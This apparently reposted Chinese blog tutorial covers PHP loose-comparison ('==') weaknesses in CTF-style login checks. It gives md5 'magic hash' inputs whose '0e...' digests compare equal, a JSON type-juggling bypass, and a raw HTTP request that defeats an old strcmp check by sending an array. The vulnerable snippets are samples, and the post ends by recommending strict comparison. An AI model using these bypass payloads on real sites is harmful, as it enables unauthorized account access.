PHP弱类型比较(松散比较)方面的漏洞

PHP弱类型比较(松散比较)方面的漏洞

斜体样式PHP松散比较“==”的比较表
在这里插入图片描述
这个表格在PHP官方文档很容易找到,链接为:http://php.net/manual/zh/types.comparisons.php
对于表格中一些比较的验证,说明确实有这样的问题
代码:

<?php
var_dump(1=="1");
var_dump(123=='123asd');
var_dump("1"==true);
var_dump("0"==false);
var_dump(-1 == true);
var_dump(true=="php");
var_dump(0==NULL);
var_dump(0=="php");
var_dump(0=="");
var_dump(NULL==false);
var_dump(""==false);
var_dump(array()==false);
var_dump(array()==NULL);
?>

结果为:
在这里插入图片描述
字符串与数字进行比较的漏洞
例子:
var_dump(123==‘123asd’);//输出为true
var_dump(123==‘1234asd’);//输出为false
var_dump(123==‘123asd1234’);//输出为true
var_dump(“asdf1"1) //false
原因:
在PHP中遇到数字与字符串进行松散比较(
)时,会将字符串中前几位是数字且数字后面不是”.",“e"或"E"的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉。
例子:
var_dump(123==‘123.5asd1234’);//输出为false
var_dump(123==‘123e5asd1234’);//输出为false
var_dump(123==‘123E5asd1234’);//输出为false
原因:
上面提到过,如果字符串数字后面是”." , “e”, “E”,则会有其他结果。
"."为浮点数的标志,会将字符串的子串转化为浮点数。
"e"和"E"为科学计数法的标志,将字符串的子串转化为科学计数法。
所以比较出错。

松散比较的妙用

利用转为数字后相等的漏洞

<?php
       if (isset($_GET['v1']) && isset($_GET['v2'])) {
           $logined = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$logined = false;}
        if (!is_numeric($v2) ) {$logined = false;}
        if (md5($v1) != md5($v2)) {$logined = false;}

        if ($logined){

            // continuue to do other things
        } else {
            echo "login failed"
        }
    }
?>

这是一个ctf的题目,非常有趣,可以看到,要求给出两字符串,一个是纯数字型,一个只能出现字符,使两个的md5哈希值相等,然而这种强碰撞在密码学上都是无法做到的。

但是我们看到,最终比较两者的哈希的时候,使用的是等于 而不是 全等于 ,因此可以利用一下这个漏洞

再回头看一 md5() 函数

string md5 ( string $str [, bool $raw_output = false ] )

str原始字符串。raw_output如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
16进制的数据中是含有e的,可以构建使得两个数字比较的,这里有一个现成的例子:

md5(‘240610708’)
//0e462097431906509019562988736854.
md5(‘QNKCDZO’)
//0e830400451993494058024219903391
可以看到,这两个字符串一个只包含数字,一个只包含字母,虽然两个的哈希不一样,但是都是一个形式:0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。

转换后都成为了0的好多好多次方,都是0,相等。
积累一些这样的例子:
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

利用 类’a’==0的漏洞

<?php if (isset($_POST['json'])) { $json = json_decode($_POST['json']); $key ="**********************"; if ($json->key == $key) { //login success ,continue } else { //login failed ,return } ?>

php的json_decode()函数会根据json数据中的数据类型来将其转换为php中的相应类型的数据,也就是说,如果我们在json中传一个string类型,那么该变量就是string,如果传入的是number,则该变量为number。因此,我们如果传入一个数字,就可以使之相等。网页中的表单可能限制了所有的输入都是string,即使输入数字,传入的东西也是

{“key”:“0”}
这是一个字符串0,我们需要让他为数字类型,用burp拦截,把两个双引号去掉,变成这样:

{“key”:0}
即可。
strcmp漏洞
注:这一个漏洞适用与5.3之前版本的php

我们首先看一下这个函数,这个函数是用于比较字符串的函数

int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。但是我们仍然可以使用这个漏洞对使用老版本php的网站进行渗透测试。看一段示例代码:

<?php $password="***************" if(isset($_POST['password'])){ if (strcmp($_POST['password'], $password) == 0) { echo "Right!!!login success";n exit(); } else { echo "Wrong password.."; } ?>

对于这段代码,我们能用什么办法绕过验证呢, 只要我们$_POST[‘password’]是一个数组或者一个object即可,但是上一个问题的时候说到过,只能上传字符串类型,那我们又该如何做呢。

其实php为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]的name(就是$_POST中的key),当作一个名字为xxx的数组构造类似如下的request

POST /login HTTP/1.1
Host: xxx.com
Content-Length: 41
Accept: application/json, text/javascript
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close

password[]=admin
即可使得上述代码绕过验证成功。
总结
在使用PHP的比较时,注意合理利用松散比较(和严格比较的区别,防止漏洞的出现

猜你喜欢

转载自blog.csdn.net/baidu_41871794/article/details/83750615